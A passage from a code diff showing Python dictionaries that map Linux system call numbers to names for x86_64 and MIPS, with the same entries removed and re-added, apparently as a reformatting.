"pwrite64", - 19: "readv", - 20: "writev", - 21: "access", - 22: "pipe", - 23: "select", - 24: "sched_yield", - 25: "mremap", - 26: "msync", - 27: "mincore", - 28: "madvise", - 29: "shmget", - 30: "shmat", - 31: "shmctl", - 32: "dup", - 33: "dup2", - 34: "pause", - 35: "nanosleep", - 36: "getitimer", - 37: "alarm", - 38: "setitimer", - 39: "getpid", - 40: "sendfile", - 41: "socket", - 42: "connect", - 43: "accept", - 44: "sendto", - 45: "recvfrom", - 46: "sendmsg", - 47: "recvmsg", - 48: "shutdown", - 49: "bind", - 50: "listen", - 51: "getsockname", - 52: "getpeername", - 53: "socketpair", - 54: "setsockopt", - 55: "getsockopt", - 56: "clone", - 57: "fork", - 58: "vfork", - 59: "execve", - 60: "exit", - 61: "wait4", - 62: "kill", - 63: "uname", - 64: "semget", - 65: "semop", - 66: "semctl", - 67: "shmdt", - 68: "msgget", - 69: "msgsnd", - 70: "msgrcv", - 71: "msgctl", - 72: "fcntl", - 73: "flock", - 74: "fsync", - 75: "fdatasync", - 76: "truncate", - 77: "ftruncate", - 78: "getdents", - 79: "getcwd", - 80: "chdir", - 81: "fchdir", - 82: "rename", - 83: "mkdir", - 84: "rmdir", - 85: "creat", - 86: "link", - 87: "unlink", - 88: "symlink", - 89: "readlink", - 90: "chmod", - 91: "fchmod", - 92: "chown", - 93: "fchown", - 94: "lchown", - 95: "umask", - 96: "gettimeofday", - 97: "getrlimit", - 98: "getrusage", - 99: "sysinfo", - 100: "times", - 101: "ptrace", - 102: "getuid", - 103: "syslog", - 104: "getgid", - 105: "setuid", - 106: "setgid", - 107: "geteuid", - 108: "getegid", - 109: "setpgid", - 110: "getppid", - 111: "getpgrp", - 112: "setsid", - 113: "setreuid", - 114: "setregid", - 115: "getgroups", - 116: "setgroups", - 117: "setresuid", - 118: "getresuid", - 119: "setresgid", - 120: "getresgid", - 121: "getpgid", - 122: "setfsuid", - 123: "setfsgid", - 124: "getsid", - 125: "capget", - 126: "capset", - 127: "rt_sigpending", - 128: "rt_sigtimedwait", - 129: "rt_sigqueueinfo", - 130: "rt_sigsuspend", - 131: "sigaltstack", - 132: "utime", - 133: "mknod", - 134: "uselib", - 135: "personality", - 136: "ustat", - 137: "statfs", - 138: "fstatfs", - 139: "sysfs", - 140: "getpriority", - 141: "setpriority", - 142: "sched_setparam", - 143: "sched_getparam", - 144: "sched_setscheduler", - 145: "sched_getscheduler", - 146: "sched_get_priority_max", - 147: "sched_get_priority_min", - 148: "sched_rr_get_interval", - 149: "mlock", - 150: "munlock", - 151: "mlockall", - 152: "munlockall", - 153: "vhangup", - 154: "modify_ldt", - 155: "pivot_root", - 156: "_sysctl", - 157: "prctl", - 158: "arch_prctl", - 159: "adjtimex", - 160: "setrlimit", - 161: "chroot", - 162: "sync", - 163: "acct", - 164: "settimeofday", - 165: "mount", - 166: "umount2", - 167: "swapon", - 168: "swapoff", - 169: "reboot", - 170: "sethostname", - 171: "setdomainname", - 172: "iopl", - 173: "ioperm", - 174: "create_module", - 175: "init_module", - 176: "delete_module", - 177: "get_kernel_syms", - 178: "query_module", - 179: "quotactl", - 180: "nfsservctl", - 181: "getpmsg", - 186: "gettid", - 187: "readahead", - 188: "setxattr", - 189: "lsetxattr", - 190: "fsetxattr", - 191: "getxattr", - 192: "lgetxattr", - 193: "fgetxattr", - 194: "listxattr", - 195: "llistxattr", - 196: "flistxattr", - 197: "removexattr", - 198: "lremovexattr", - 199: "fremovexattr", - 200: "tkill", - 201: "time", - 202: "futex", - 203: "sched_setaffinity", - 204: "sched_getaffinity", - 205: "set_thread_area", - 206: "io_setup", - 207: "io_destroy", - 208: "io_getevents", - 209: "io_submit", - 210: "io_cancel", - 211: "get_thread_area", - 212: "lookup_dcookie", - 213: "epoll_create", - 214: "epoll_ctl_old", - 215: "epoll_wait_old", - 216: "remap_file_pages", - 217: "getdents64", - 218: "set_tid_address", - 219: "restart_syscall", - 220: "semtimedop", - 221: "fadvise64", - 222: "timer_create", - 223: "timer_settime", - 224: "timer_gettime", - 225: "timer_getoverrun", - 226: "timer_delete", - 227: "clock_settime", - 228: "clock_gettime", - 229: "clock_getres", - 230: "clock_nanosleep", - 231: "exit_group", - 232: "epoll_wait", - 233: "epoll_ctl", - 234: "tgkill", - 235: "utimes", - 237: "mbind", - 238: "set_mempolicy", - 239: "get_mempolicy", - 240: "mq_open", - 241: "mq_unlink", - 242: "mq_timedsend", - 243: "mq_timedreceive", - 244: "mq_notify", - 245: "mq_getsetattr", - 246: "kexec_load", - 247: "waitid", - 248: "add_key", - 249: "request_key", - 250: "keyctl", - 251: "ioprio_set", - 252: "ioprio_get", - 253: "inotify_init", - 254: "inotify_add_watch", - 255: "inotify_rm_watch", - 256: "migrate_pages", - 257: "openat", - 258: "mkdirat", - 259: "mknodat", - 260: "fchownat", - 261: "futimesat", - 262: "newfstatat", - 263: "unlinkat", - 264: "renameat", - 265: "linkat", - 266: "symlinkat", - 267: "readlinkat", - 268: "fchmodat", - 269: "faccessat", - 270: "pselect6", - 271: "ppoll", - 272: "unshare", - 273: "set_robust_list", - 274: "get_robust_list", - 275: "splice", - 276: "tee", - 277: "sync_file_range", - 278: "vmsplice", - 279: "move_pages", - 280: "utimensat", - 281: "epoll_pwait", - 282: "signalfd", - 283: "timerfd_create", - 284: "eventfd", - 285: "fallocate", - 286: "timerfd_settime", - 287: "timerfd_gettime", - 288: "accept4", - 289: "signalfd4", - 290: "eventfd2", - 291: "epoll_create1", - 292: "dup3", - 293: "pipe2", - 294: "inotify_init1", - 295: "preadv", - 296: "pwritev", - 297: "rt_tgsigqueueinfo", - 298: "perf_event_open", - 299: "recvmmsg", - 300: "fanotify_init", - 301: "fanotify_mark", - 302: "prlimit64", - 303: "name_to_handle_at", - 304: "open_by_handle_at", - 305: "clock_adjtime", - 306: "syncfs", - 307: "sendmmsg", - 308: "setns", - 309: "getcpu", - 310: "process_vm_readv", - 311: "process_vm_writev", - 312: "kcmp", - 313: "finit_module", - 314: "sched_setattr", - 315: "sched_getattr", - 316: "renameat2", - 317: "seccomp", - 318: "getrandom", - 319: "memfd_create", - 320: "kexec_file_load", - 321: "bpf", - 322: "execveat", - 323: "userfaultfd", - 324: "membarrier", - 325: "mlock2", - 326: "copy_file_range", - 327: "preadv2", - 328: "pwritev2", - 329: "pkey_mprotect", - 330: "pkey_alloc", - 331: "pkey_free", - 332: "statx", - 333: "io_pgetevents", - 334: "rseq", - 424: "pidfd_send_signal", - 425: "io_uring_setup", - 426: "io_uring_enter", - 427: "io_uring_register", - 428: "open_tree", - 429: "move_mount", - 430: "fsopen", - 431: "fsconfig", - 432: "fsmount", - 433: "fspick", - 434: "pidfd_open", - 435: "clone3", - 436: "close_range", - 437: "openat2", - 438: "pidfd_getfd", - 439: "faccessat2", - 440: "process_madvise", - 441: "epoll_pwait2", - 442: "mount_setattr", - 443: "quotactl_fd", - 444: "landlock_create_ruleset", - 445: "landlock_add_rule", - 446: "landlock_restrict_self", - 447: "memfd_secret", - 448: "process_mrelease", + 1: "write", + 2: "open", + 3: "close", + 4: "stat", + 5: "fstat", + 6: "lstat", + 7: "poll", + 8: "lseek", + 9: "mmap", + 10: "mprotect", + 11: "munmap", + 12: "brk", + 13: "rt_sigaction", + 14: "rt_sigprocmask", + 15: "rt_sigreturn", + 16: "ioctl", + 17: "pread64", + 18: "pwrite64", + 19: "readv", + 20: "writev", + 21: "access", + 22: "pipe", + 23: "select", + 24: "sched_yield", + 25: "mremap", + 26: "msync", + 27: "mincore", + 28: "madvise", + 29: "shmget", + 30: "shmat", + 31: "shmctl", + 32: "dup", + 33: "dup2", + 34: "pause", + 35: "nanosleep", + 36: "getitimer", + 37: "alarm", + 38: "setitimer", + 39: "getpid", + 40: "sendfile", + 41: "socket", + 42: "connect", + 43: "accept", + 44: "sendto", + 45: "recvfrom", + 46: "sendmsg", + 47: "recvmsg", + 48: "shutdown", + 49: "bind", + 50: "listen", + 51: "getsockname", + 52: "getpeername", + 53: "socketpair", + 54: "setsockopt", + 55: "getsockopt", + 56: "clone", + 57: "fork", + 58: "vfork", + 59: "execve", + 60: "exit", + 61: "wait4", + 62: "kill", + 63: "uname", + 64: "semget", + 65: "semop", + 66: "semctl", + 67: "shmdt", + 68: "msgget", + 69: "msgsnd", + 70: "msgrcv", + 71: "msgctl", + 72: "fcntl", + 73: "flock", + 74: "fsync", + 75: "fdatasync", + 76: "truncate", + 77: "ftruncate", + 78: "getdents", + 79: "getcwd", + 80: "chdir", + 81: "fchdir", + 82: "rename", + 83: "mkdir", + 84: "rmdir", + 85: "creat", + 86: "link", + 87: "unlink", + 88: "symlink", + 89: "readlink", + 90: "chmod", + 91: "fchmod", + 92: "chown", + 93: "fchown", + 94: "lchown", + 95: "umask", + 96: "gettimeofday", + 97: "getrlimit", + 98: "getrusage", + 99: "sysinfo", + 100: "times", + 101: "ptrace", + 102: "getuid", + 103: "syslog", + 104: "getgid", + 105: "setuid", + 106: "setgid", + 107: "geteuid", + 108: "getegid", + 109: "setpgid", + 110: "getppid", + 111: "getpgrp", + 112: "setsid", + 113: "setreuid", + 114: "setregid", + 115: "getgroups", + 116: "setgroups", + 117: "setresuid", + 118: "getresuid", + 119: "setresgid", + 120: "getresgid", + 121: "getpgid", + 122: "setfsuid", + 123: "setfsgid", + 124: "getsid", + 125: "capget", + 126: "capset", + 127: "rt_sigpending", + 128: "rt_sigtimedwait", + 129: "rt_sigqueueinfo", + 130: "rt_sigsuspend", + 131: "sigaltstack", + 132: "utime", + 133: "mknod", + 134: "uselib", + 135: "personality", + 136: "ustat", + 137: "statfs", + 138: "fstatfs", + 139: "sysfs", + 140: "getpriority", + 141: "setpriority", + 142: "sched_setparam", + 143: "sched_getparam", + 144: "sched_setscheduler", + 145: "sched_getscheduler", + 146: "sched_get_priority_max", + 147: "sched_get_priority_min", + 148: "sched_rr_get_interval", + 149: "mlock", + 150: "munlock", + 151: "mlockall", + 152: "munlockall", + 153: "vhangup", + 154: "modify_ldt", + 155: "pivot_root", + 156: "_sysctl", + 157: "prctl", + 158: "arch_prctl", + 159: "adjtimex", + 160: "setrlimit", + 161: "chroot", + 162: "sync", + 163: "acct", + 164: "settimeofday", + 165: "mount", + 166: "umount2", + 167: "swapon", + 168: "swapoff", + 169: "reboot", + 170: "sethostname", + 171: "setdomainname", + 172: "iopl", + 173: "ioperm", + 174: "create_module", + 175: "init_module", + 176: "delete_module", + 177: "get_kernel_syms", + 178: "query_module", + 179: "quotactl", + 180: "nfsservctl", + 181: "getpmsg", + 186: "gettid", + 187: "readahead", + 188: "setxattr", + 189: "lsetxattr", + 190: "fsetxattr", + 191: "getxattr", + 192: "lgetxattr", + 193: "fgetxattr", + 194: "listxattr", + 195: "llistxattr", + 196: "flistxattr", + 197: "removexattr", + 198: "lremovexattr", + 199: "fremovexattr", + 200: "tkill", + 201: "time", + 202: "futex", + 203: "sched_setaffinity", + 204: "sched_getaffinity", + 205: "set_thread_area", + 206: "io_setup", + 207: "io_destroy", + 208: "io_getevents", + 209: "io_submit", + 210: "io_cancel", + 211: "get_thread_area", + 212: "lookup_dcookie", + 213: "epoll_create", + 214: "epoll_ctl_old", + 215: "epoll_wait_old", + 216: "remap_file_pages", + 217: "getdents64", + 218: "set_tid_address", + 219: "restart_syscall", + 220: "semtimedop", + 221: "fadvise64", + 222: "timer_create", + 223: "timer_settime", + 224: "timer_gettime", + 225: "timer_getoverrun", + 226: "timer_delete", + 227: "clock_settime", + 228: "clock_gettime", + 229: "clock_getres", + 230: "clock_nanosleep", + 231: "exit_group", + 232: "epoll_wait", + 233: "epoll_ctl", + 234: "tgkill", + 235: "utimes", + 237: "mbind", + 238: "set_mempolicy", + 239: "get_mempolicy", + 240: "mq_open", + 241: "mq_unlink", + 242: "mq_timedsend", + 243: "mq_timedreceive", + 244: "mq_notify", + 245: "mq_getsetattr", + 246: "kexec_load", + 247: "waitid", + 248: "add_key", + 249: "request_key", + 250: "keyctl", + 251: "ioprio_set", + 252: "ioprio_get", + 253: "inotify_init", + 254: "inotify_add_watch", + 255: "inotify_rm_watch", + 256: "migrate_pages", + 257: "openat", + 258: "mkdirat", + 259: "mknodat", + 260: "fchownat", + 261: "futimesat", + 262: "newfstatat", + 263: "unlinkat", + 264: "renameat", + 265: "linkat", + 266: "symlinkat", + 267: "readlinkat", + 268: "fchmodat", + 269: "faccessat", + 270: "pselect6", + 271: "ppoll", + 272: "unshare", + 273: "set_robust_list", + 274: "get_robust_list", + 275: "splice", + 276: "tee", + 277: "sync_file_range", + 278: "vmsplice", + 279: "move_pages", + 280: "utimensat", + 281: "epoll_pwait", + 282: "signalfd", + 283: "timerfd_create", + 284: "eventfd", + 285: "fallocate", + 286: "timerfd_settime", + 287: "timerfd_gettime", + 288: "accept4", + 289: "signalfd4", + 290: "eventfd2", + 291: "epoll_create1", + 292: "dup3", + 293: "pipe2", + 294: "inotify_init1", + 295: "preadv", + 296: "pwritev", + 297: "rt_tgsigqueueinfo", + 298: "perf_event_open", + 299: "recvmmsg", + 300: "fanotify_init", + 301: "fanotify_mark", + 302: "prlimit64", + 303: "name_to_handle_at", + 304: "open_by_handle_at", + 305: "clock_adjtime", + 306: "syncfs", + 307: "sendmmsg", + 308: "setns", + 309: "getcpu", + 310: "process_vm_readv", + 311: "process_vm_writev", + 312: "kcmp", + 313: "finit_module", + 314: "sched_setattr", + 315: "sched_getattr", + 316: "renameat2", + 317: "seccomp", + 318: "getrandom", + 319: "memfd_create", + 320: "kexec_file_load", + 321: "bpf", + 322: "execveat", + 323: "userfaultfd", + 324: "membarrier", + 325: "mlock2", + 326: "copy_file_range", + 327: "preadv2", + 328: "pwritev2", + 329: "pkey_mprotect", + 330: "pkey_alloc", + 331: "pkey_free", + 332: "statx", + 333: "io_pgetevents", + 334: "rseq", + 424: "pidfd_send_signal", + 425: "io_uring_setup", + 426: "io_uring_enter", + 427: "io_uring_register", + 428: "open_tree", + 429: "move_mount", + 430: "fsopen", + 431: "fsconfig", + 432: "fsmount", + 433: "fspick", + 434: "pidfd_open", + 435: "clone3", + 436: "close_range", + 437: "openat2", + 438: "pidfd_getfd", + 439: "faccessat2", + 440: "process_madvise", + 441: "epoll_pwait2", + 442: "mount_setattr", + 443: "quotactl_fd", + 444: "landlock_create_ruleset", + 445: "landlock_add_rule", + 446: "landlock_restrict_self", + 447: "memfd_secret", + 448: "process_mrelease", } mips_syscall_table = { 4000: "syscall", - 4001: "exit", - 4002: "fork", - 4003: "read", - 4004: "write", - 4005: "open", - 4006: "close", - 4007: "waitpid", - 4008: "creat", - 4009: "link", - 4010: "unlink", - 4011: "execve", - 4012: "chdir", - 4013: "time", - 4014: "mknod", - 4015: "chmod", - 4016: "lchown", - 4019: "lseek", - 4020: "getpid", - 4021: "mount", - 4022: "umount", - 4023: "setuid", - 4024: "getuid", - 4025: "stime", - 4026: "ptrace", - 4027: "alarm", - 4029: "pause", - 4030: "utime", - 4033: "access", - 4034: "nice", - 4036: "sync", - 4037: "kill", - 4038: "rename", - 4039: "mkdir", - 4040: "rmdir", - 4041: "dup", - 4042: "pipe", - 4043: "times", - 4045: "brk", - 4046: "setgid", - 4047: "getgid", - 4048: "signal", - 4049: "geteuid", - 4050: "getegid", - 4051: "acct", - 4052: "umount2", - 4054: "ioctl", - 4055: "fcntl", - 4057: "setpgid", - 4060: "umask", - 4061: "chroot", - 4062: "ustat", - 4063: "dup2", - 4064: "getppid", - 4065: "getpgrp", - 4066: "setsid", - 4067: "sigaction", - 4068: "sgetmask", - 4069: "ssetmask", - 4070: "setreuid", - 4071: "setregid", - 4072: "sigsuspend", - 4073: "sigpending", - 4074: "sethostname", - 4075: "setrlimit", - 4076: "getrlimit", - 4077: "getrusage", - 4078: "gettimeofday", - 4079: "settimeofday", - 4080: "getgroups", - 4081: "setgroups", - 4083: "symlink", - 4085: "readlink", - 4086: "uselib", - 4087: "swapon", - 4088: "reboot", - 4089: "readdir", - 4090: "mmap", - 4091: "munmap", - 4092: "truncate", - 4093: "ftruncate", - 4094: "fchmod", - 4095: "fchown", - 4096: "getpriority", - 4097: "setpriority", - 4099: "statfs", - 4100: "fstatfs", - 4101: "ioperm", - 4102: "socketcall", - 4103: "syslog", - 4104: "setitimer", - 4105: "getitimer", - 4106: "stat", - 4107: "lstat", - 4108: "fstat", - 4110: "iopl", - 4111: "vhangup", - 4112: "idle", - 4113: "vm86", - 4114: "wait4", - 4115: "swapoff", - 4116: "sysinfo", - 4117: "ipc", - 4118: "fsync", - 4119: "sigreturn", - 4120: "clone", - 4121: "setdomainname", - 4122: "uname", - 4123: "modify_ldt", - 4124: "adjtimex", - 4125: "mprotect", - 4126: "sigprocmask", - 4127: "create_module", - 4128: "init_module", - 4129: "delete_module", - 4130: "get_kernel_syms", - 4131: "quotactl", - 4132: "getpgid", - 4133: "fchdir", - 4134: "bdflush", - 4135: "sysfs", - 4136: "personality", - 4138: "setfsuid", - 4139: "setfsgid", - 4140: "_llseek", - 4141: "getdents", - 4142: "_newselect", - 4143: "flock", - 4144: "msync", - 4145: "readv", - 4146: "writev", - 4147: "cacheflush", - 4148: "cachectl", - 4149: "sysmips", - 4151: "getsid", - 4152: "fdatasync", - 4153: "_sysctl", - 4154: "mlock", - 4155: "munlock", - 4156: "mlockall", - 4157: "munlockall", - 4158: "sched_setparam", - 4159: "sched_getparam", - 4160: "sched_setscheduler", - 4161: "sched_getscheduler", - 4162: "sched_yield", - 4163: "sched_get_priority_max", - 4164: "sched_get_priority_min", - 4165: "sched_rr_get_interval", - 4166: "nanosleep", - 4167: "mremap", - 4168: "accept", - 4169: "bind", - 4170: "connect", - 4171: "getpeername", - 4172: "getsockname", - 4173: "getsockopt", - 4174: "listen", - 4175: "recv", - 4176: "recvfrom", - 4177: "recvmsg", - 4178: "send", - 4179: "sendmsg", - 4180: "sendto", - 4181: "setsockopt", - 4182: "shutdown", - 4183: "socket", - 4184: "socketpair", - 4185: "setresuid", - 4186: "getresuid", - 4187: "query_module", - 4188: "poll", - 4189: "nfsservctl", - 4190: "setresgid", - 4191: "getresgid", - 4192: "prctl", - 4193: "rt_sigreturn", - 4194: "rt_sigaction", - 4195: "rt_sigprocmask", - 4196: "rt_sigpending", - 4197: "rt_sigtimedwait", - 4198: "rt_sigqueueinfo", - 4199: "rt_sigsuspend", - 4200: "pread64", - 4201: "pwrite64", - 4202: "chown", - 4203: "getcwd", - 4204: "capget", - 4205: "capset", - 4206: "sigaltstack", - 4207: "sendfile", - 4208: "getpmsg", - 4210: "mmap2", - 4211: "truncate64", - 4212: "ftruncate64", - 4213: "stat64", - 4214: "lstat64", - 4215: "fstat64", - 4216: "pivot_root", - 4217: "mincore", - 4218: "madvise", - 4219: "getdents64", - 4220: "fcntl64", - 4222: "gettid", - 4223: "readahead", - 4224: "setxattr", - 4225: "lsetxattr", - 4226: "fsetxattr", - 4227: "getxattr", - 4228: "lgetxattr", - 4229: "fgetxattr", - 4230: "listxattr", - 4231: "llistxattr", - 4232: "flistxattr", - 4233: "removexattr", - 4234: "lremovexattr", - 4235: "fremovexattr", - 4236: "tkill", - 4237: "sendfile64", - 4238: "futex", - 4239: "sched_setaffinity", - 4240: "sched_getaffinity", - 4241: "io_setup", - 4242: "io_destroy", - 4243: "io_getevents", - 4244: "io_submit", - 4245: "io_cancel", - 4246: "exit_group", - 4247: "lookup_dcookie", - 4248: "epoll_create", - 4249: "epoll_ctl", - 4250: "epoll_wait", - 4251: "remap_file_pages", - 4252: "set_tid_address", - 4253: "restart_syscall", - 4254: "fadvise64", - 4255: "statfs64", - 4256: "fstatfs64", - 4257: "timer_create", - 4258: "timer_settime", - 4259: "timer_gettime", - 4260: "timer_getoverrun", - 4261: "timer_delete", - 4262: "clock_settime", - 4263: "clock_gettime", - 4264: "clock_getres", - 4265: "clock_nanosleep", - 4266: "tgkill", - 4267: "utimes", - 4268: "mbind", - 4269: "get_mempolicy", - 4270: "set_mempolicy", - 4271: "mq_open", - 4272: "mq_unlink", - 4273: "mq_timedsend", - 4274: "mq_timedreceive", - 4275: "mq_notify", - 4276: "mq_getsetattr", - 4278: "waitid", - 4280: "add_key", - 4281: "request_key", - 4282: "keyctl", - 4283: "set_thread_area", - 4284: "inotify_init", - 4285: "inotify_add_watch", - 4286: "inotify_rm_watch", - 4287: "migrate_pages", - 4288: "openat", - 4289: "mkdirat", - 4290: "mknodat", - 4291: "fchownat", - 4292: "futimesat", - 4293: "fstatat64", - 4294: "unlinkat", - 4295: "renameat", - 4296: "linkat", - 4297: "symlinkat", - 4298: "readlinkat", - 4299: "fchmodat", - 4300: "faccessat", - 4301: "pselect6", - 4302: "ppoll", - 4303: "unshare", - 4304: "splice", - 4305: "sync_file_range", - 4306: "tee", - 4307: "vmsplice", - 4308: "move_pages", - 4309: "set_robust_list", - 4310: "get_robust_list", - 4311: "kexec_load", - 4312: "getcpu", - 4313: "epoll_pwait", - 4314: "ioprio_set", - 4315: "ioprio_get", - 4316: "utimensat", - 4317: "signalfd", - 4318: "timerfd", - 4319: "eventfd", - 4320: "fallocate", - 4321: "timerfd_create", - 4322: "timerfd_gettime", - 4323: "timerfd_settime", - 4324: "signalfd4", - 4325: "eventfd2", - 4326: "epoll_create1", - 4327: "dup3", - 4328: "pipe2", - 4329: "inotify_init1", - 4330: "preadv", - 4331: "pwritev", - 4332: "rt_tgsigqueueinfo", - 4333: "perf_event_open", - 4334: "accept4", - 4335: "recvmmsg", - 4336: "fanotify_init", - 4337: "fanotify_mark", - 4338: "prlimit64", - 4339: "name_to_handle_at", - 4340: "open_by_handle_at", - 4341: "clock_adjtime", - 4342: "syncfs", - 4343: "sendmmsg", - 4344: "setns", - 4345: "process_vm_readv", - 4346: "process_vm_writev", - 4347: "kcmp", - 4348: "finit_module", - 4349: "sched_setattr", - 4350: "sched_getattr", - 4351: "renameat2", - 4352: "seccomp", - 4353: "getrandom", - 4354: "memfd_create", - 4355: "bpf", - 4356: "execveat", - 4357: "userfaultfd", - 4358: "membarrier", - 4359: "mlock2", - 4360: "copy_file_range", - 4361: "preadv2", - 4362: "pwritev2", - 4363: "pkey_mprotect", - 4364: "pkey_alloc", - 4365: "pkey_free", - 4366: "statx", - 4367: "rseq", - 4368: "io_pgetevents", - 4393: "semget", - 4394: "semctl", - 4395: "shmget", - 4396: "shmctl", - 4397: "shmat", - 4398: "shmdt", - 4399: "msgget", - 4400: "msgsnd", - 4401: "msgrcv", - 4402: "msgctl", - 4403: "clock_gettime64", - 4404: "clock_settime64", - 4405: "clock_adjtime64", - 4406: "clock_getres_time64", - 4407: "clock_nanosleep_time64", - 4408: "timer_gettime64", - 4409: "timer_settime64", - 4410: "timerfd_gettime64", - 4411: "timerfd_settime64", - 4412: "utimensat_time64", - 4413: "pselect6_time64", - 4414: "ppoll_time64", - 4416: "io_pgetevents_time64", - 4417: "recvmmsg_time64", - 4418: "mq_timedsend_time64", - 4419: "mq_timedreceive_time64", - 4420: "semtimedop_time64", - 4421: "rt_sigtimedwait_time64", - 4422: "futex_time64", - 4423: "sched_rr_get_interval_time64", - 4424: "pidfd_send_signal", - 4425: "io_uring_setup", - 4426: "io_uring_enter", - 4427: "io_uring_register", - 4428: "open_tree", - 4429: "move_mount", - 4430: "fsopen", - 4431: "fsconfig", - 4432: "fsmount", - 4433: "fspick", - 4434: "pidfd_open", - 4435: "clone3", - 4436: "close_range", - 4437: "openat2", - 4438: "pidfd_getfd", - 4439: "faccessat2", - 4440: "process_madvise", - 4441: "epoll_pwait2", - 4442: "mount_setattr", - 4443: "quotactl_fd", - 4444: "landlock_create_ruleset", - 4445: "landlock_add_rule", - 4446: "landlock_restrict_self", - 4448: "process_mrelease", + 4001: "exit", + 4002: "fork", + 4003: "read", + 4004: "write", + 4005: "open", + 4006: "close", + 4007: "waitpid", + 4008: "creat", + 4009: "link", + 4010: "unlink", + 4011: "execve", + 4012: "chdir", + 4013: "time", + 4014: "mknod", + 4015: "chmod", + 4016: "lchown", + 4019: "lseek", + 4020: "getpid", + 4021: "mount", + 4022: "umount", + 4023: "setuid", + 4024: "getuid", + 4025: "stime", + 4026: "ptrace", + 4027: "alarm", + 4029: "pause", + 4030: "utime", + 4033: "access", + 4034: "nice", + 4036: "sync", + 4037: "kill", + 4038: "rename", + 4039: "mkdir", + 4040: "rmdir", + 4041: "dup", + 4042: "pipe", + 4043: "times", + 4045: "brk", + 4046: "setgid", + 4047: "getgid", + 4048: "signal", + 4049: "geteuid", + 4050: "getegid", + 4051: "acct", + 4052: "umount2", + 4054: "ioctl", + 4055: "fcntl", + 4057: "setpgid", + 4060: "umask", + 4061: "chroot", + 4062: "ustat", + 4063: "dup2", + 4064: "getppid", + 4065: "getpgrp", + 4066: "setsid", + 4067: "sigaction", + 4068: "sgetmask", + 4069: "ssetmask", + 4070: "setreuid", + 4071: "setregid", + 4072: "sigsuspend", + 4073: "sigpending", + 4074: "sethostname", + 4075: "setrlimit", + 4076: "getrlimit", + 4077: "getrusage", + 4078: "gettimeofday", + 4079: "settimeofday", + 4080: "getgroups", + 4081: "setgroups", + 4083: "symlink", + 4085: "readlink", + 4086: "uselib", + 4087: "swapon", + 4088: "reboot", + 4089: "readdir", + 4090: "mmap", + 4091: "munmap", + 4092: "truncate", + 4093: "ftruncate", + 4094: "fchmod", + 4095: "fchown", + 4096: "getpriority", + 4097: "setpriority", + 4099: "statfs", + 4100: "fstatfs", + 4101: "ioperm", + 4102: "socketcall", + 4103: "syslog", + 4104: "setitimer", + 4105: "getitimer", + 4106: "stat", + 4107: "lstat", + 4108: "fstat", + 4110: "iopl", + 4111: "vhangup", + 4112: "idle", + 4113: "vm86", + 4114: "wait4", + 4115: "swapoff", + 4116: "sysinfo", + 4117: "ipc", + 4118: "fsync", + 4119: "sigreturn", + 4120: "clone", + 4121: "setdomainname", + 4122: "uname", + 4123: "modify_ldt", + 4124: "adjtimex", + 4125: "mprotect", + 4126: "sigprocmask", + 4127: "create_module", + 4128: "init_module", + 4129: "delete_module", + 4130: "get_kernel_syms", + 4131: "quotactl", + 4132: "getpgid", + 4133: "fchdir", + 4134: "bdflush", + 4135: "sysfs", + 4136: "personality", + 4138: "setfsuid", + 4139: "setfsgid", + 4140: "_llseek", + 4141: "getdents", + 4142: "_newselect", + 4143: "flock", + 4144: "msync", + 4145: "readv", + 4146: "writev", + 4147: "cacheflush", + 4148: "cachectl", + 4149: "sysmips", + 4151: "getsid", + 4152: "fdatasync", + 4153: "_sysctl", + 4154: "mlock", + 4155: "munlock", + 4156: "mlockall", + 4157: "munlockall", + 4158: "sched_setparam", + 4159: "sched_getparam", + 4160: "sched_setscheduler", + 4161: "sched_getscheduler", + 4162: "sched_yield", + 4163: "sched_get_priority_max", + 4164: "sched_get_priority_min", + 4165: "sched_rr_get_interval", + 4166: "nanosleep", + 4167: "mremap", + 4168: "accept", + 4169: "bind", + 4170: "connect", + 4171: "getpeername", + 4172: "getsockname", + 4173: "getsockopt", + 4174: "listen", + 4175: "recv", + 4176: "recvfrom", + 4177: "recvmsg", + 4178: "send", + 4179: "sendmsg", + 4180: "sendto", + 4181: "setsockopt", + 4182: "shutdown", + 4183: "socket", + 4184: "socketpair", + 4185: "setresuid", + 4186: "getresuid", + 4187: "query_module", + 4188: "poll", + 4189: "nfsservctl", + 4190: "setresgid", + 4191: "getresgid", + 4192: "prctl", + 4193: "rt_sigreturn", + 4194: "rt_sigaction", + 4195: "rt_sigprocmask", + 4196: "rt_sigpending", + 4197: "rt_sigtimedwait", + 4198: "rt_sigqueueinfo", + 4199: "rt_sigsuspend", + 4200: "pread64", + 4201: "pwrite64", + 4202: "chown", + 4203: "getcwd", + 4204: "capget", + 4205: "capset", + 4206: "sigaltstack", + 4207: "sendfile", + 4208: "getpmsg", + 4210: "mmap2", + 4211: "truncate64", + 4212: "ftruncate64", + 4213: "stat64", + 4214: "lstat64", + 4215: "fstat64", + 4216: "pivot_root", + 4217: "mincore", + 4218: "madvise", + 4219: "getdents64", + 4220: "fcntl64", + 4222: "gettid", + 4223: "readahead", + 4224: "setxattr", + 4225: "lsetxattr", + 4226: "fsetxattr", + 4227: "getxattr", + 4228: "lgetxattr", + 4229: "fgetxattr", + 4230: "listxattr", + 4231: "llistxattr", + 4232: "flistxattr", + 4233: "removexattr", + 4234: "lremovexattr", + 4235: "fremovexattr", + 4236: "tkill", + 4237: "sendfile64", + 4238: "futex", + 4239: "sched_setaffinity", + 4240: "sched_getaffinity", + 4241: "io_setup", + 4242: "io_destroy", + 4243: "io_getevents", + 4244: "io_submit", + 4245: "io_cancel", + 4246: "exit_group", + 4247: "lookup_dcookie", + 4248: "epoll_create", + 4249: "epoll_ctl", + 4250: "epoll_wait", + 4251: "remap_file_pages", + 4252: "set_tid_address", + 4253: "restart_syscall", + 4254: "fadvise64", + 4255: "statfs64", + 4256: "fstatfs64", + 4257: "timer_create", + 4258: "timer_settime", + 4259: "timer_gettime", + 4260: "timer_getoverrun", + 4261: "timer_delete", + 4262: "clock_settime", + 4263: "clock_gettime", + 4264: "clock_getres", + 4265: "clock_nanosleep", + 4266: "tgkill", + 4267: "utimes", + 4268: "mbind", + 4269: "get_mempolicy", + 4270: "set_mempolicy", + 4271: "mq_open", + 4272: "mq_unlink", + 4273: "mq_timedsend", + 4274: "mq_timedreceive", + 4275: "mq_notify", + 4276: "mq_getsetattr", + 4278: "waitid", + 4280: "add_key", + 4281: "request_key", + 4282: "keyctl", + 4283: "set_thread_area", + 4284: "inotify_init", + 4285: "inotify_add_watch", + 4286: "inotify_rm_watch", + 4287: "migrate_pages", + 4288: "openat", + 4289: "mkdirat", + 4290: "mknodat", + 4291: "fchownat", + 4292: "futimesat", + 4293: "fstatat64", + 4294: "unlinkat", + 4295: "renameat", + 4296: 